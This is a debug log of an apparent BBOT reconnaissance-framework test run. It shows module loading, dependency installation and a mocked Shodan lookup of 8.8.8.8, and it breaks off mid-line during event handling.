-2026-02-27 22:15:09,362 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 22:15:09,365 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 22:15:09,367 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 22:15:09,368 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 22:15:09,369 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 22:15:09,370 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 22:15:09,371 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 22:15:09,372 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 22:15:09,373 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 22:15:09,374 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 22:15:09,375 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 22:15:09,376 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 22:15:09,377 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 22:15:09,378 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 22:15:09,379 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 22:15:09,382 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 22:15:09,384 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 22:15:09,385 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 22:15:09,387 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 22:15:09,388 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 22:15:09,389 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 22:15:09,390 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 22:15:09,391 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 22:15:09,392 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 22:15:09,393 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 22:15:09,394 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 22:15:09,395 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 22:15:09,396 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 22:15:09,398 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 22:15:09,399 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 22:15:09,400 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 22:15:09,401 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 22:15:09,402 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 22:15:09,403 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 22:15:09,404 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 22:15:09,405 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 22:15:09,406 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 22:15:09,407 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 22:15:09,408 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 22:15:09,409 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 22:15:09,410 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 22:15:09,411 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 22:15:09,413 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 22:15:09,415 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 22:15:09,418 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 22:15:09,419 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 22:15:09,420 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 22:15:09,421 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 22:15:09,422 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 22:15:09,423 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 22:15:09,424 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 22:15:09,425 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 22:15:09,426 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 22:15:09,428 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 22:15:09,429 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 22:15:09,431 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 22:15:09,432 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 22:15:09,433 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 22:15:09,435 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 22:15:09,436 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 22:15:09,436 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 22:15:09,438 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 22:15:09,439 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 22:15:09,440 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 22:15:09,441 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 22:15:09,442 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 22:15:09,442 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 22:15:09,444 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 22:15:09,445 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 22:15:09,446 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 22:15:09,448 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 22:15:09,450 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 22:15:09,451 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 22:15:09,453 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 22:15:09,454 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 22:15:09,455 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 22:15:09,456 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 22:15:09,457 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 22:15:09,458 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 22:15:09,459 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 22:15:09,460 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 22:15:09,462 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 22:15:09,464 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 22:15:09,466 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 22:15:09,467 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 22:15:09,468 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 22:15:09,470 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 22:15:09,471 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 22:15:09,472 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 22:15:09,474 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 22:15:09,475 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 22:15:09,476 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 22:15:09,477 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 22:15:09,478 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 22:15:09,481 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 22:15:09,483 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 22:15:09,485 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 22:15:09,487 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 22:15:09,487 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 22:15:09,675 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4481301424 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:15:09,676 [DEBUG] filelock _api.py:334 Lock 4481301424 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:15:09,678 [DEBUG] filelock _api.py:364 Attempting to release lock 4481301424 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:15:09,696 [DEBUG] filelock _api.py:367 Lock 4481301424 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:15:11,069 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:15:11,069 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:15:11,070 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 22:15:11,219 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 22:15:11,812 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 22:15:11,813 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 22:15:11,813 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 22:15:11,813 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 22:15:12,043 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 22:15:12,045 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 22:15:12,154 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 22:15:12,155 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 22:15:12,213 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 22:15:12,217 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 22:15:12,217 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 22:15:12,906 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 22:15:12,907 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 22:15:15,127 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 22:15:15,128 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 22:15:15,128 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 22:15:17,464 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 22:15:17,465 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 22:15:17,470 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:15:17,470 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 22:15:17,470 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:15:17,471 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 22:15:17,471 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 22:15:17,471 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 22:15:17,477 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/9lhqwhys061x6182yi7y -2026-02-27 22:15:18,737 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 22:15:18,738 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 22:15:18,739 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:15:18,739 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 22:15:18,740 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:15:18,740 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 22:15:18,741 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 22:15:18,875 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 22:15:18,876 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 22:15:18,876 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 22:15:18,879 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 22:15:18,880 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 22:15:18,880 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 22:15:18,880 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 22:15:18,882 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 22:15:18,882 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 22:15:18,883 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 22:15:18,883 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 22:15:18,884 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 22:15:18,884 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 22:15:18,884 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 22:15:18,884 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 22:15:18,884 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 22:15:18,884 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 22:15:18,885 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 22:15:18,885 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 22:15:18,885 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 22:15:18,885 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 22:15:18,885 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 22:15:18,886 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 22:15:18,886 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 22:15:18,886 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 22:15:18,887 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 22:15:18,887 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 22:15:18,887 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 22:15:18,887 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 22:15:18,887 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 22:15:18,888 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 22:15:18,888 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 22:15:18,888 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 22:15:18,888 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 22:15:18,889 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 22:15:18,889 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 22:15:18,889 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 22:15:18,889 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 22:15:18,889 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 22:15:18,890 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 22:15:18,890 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 22:15:18,890 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 22:15:18,890 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 22:15:18,891 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 22:15:18,891 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 22:15:19,038 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_ty8f695kx7 -2026-02-27 22:15:19,038 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 22:15:19,153 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 22:15:19,154 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 22:15:19,154 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 22:15:19,156 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) -2026-02-27 22:15:19,256 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:15:19,258 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:15:19,259 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:15:19,260 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) passed post-check -2026-02-27 22:15:19,260 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) -2026-02-27 22:15:19,261 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:15:19,262 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:15:19,263 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) in-scope because its main host matches the scan target -2026-02-27 22:15:19,264 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:15:19,265 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:15:19,265 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:15:19,266 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-02-27 22:15:19,267 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:15:19,268 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:15:19,269 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 22:15:19,275 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:15:19,276 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-02-27 22:15:19,276 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:15:19,277 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:15:19,277 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded -2026-02-27 22:15:19,278 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded -2026-02-27 22:15:19,278 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET -2026-02-27 22:15:19,279 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-02-27 22:15:19,279 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:15:19,282 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 -2026-02-27 22:15:19,375 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None -2026-02-27 22:15:19,379 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:15:19,380 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 22:15:19,381 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:019df30b86598d34286906db3df64ad9ec40f2a8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:15:19,381 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET -2026-02-27 22:15:19,381 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-02-27 22:15:19,382 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:15:19,382 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, 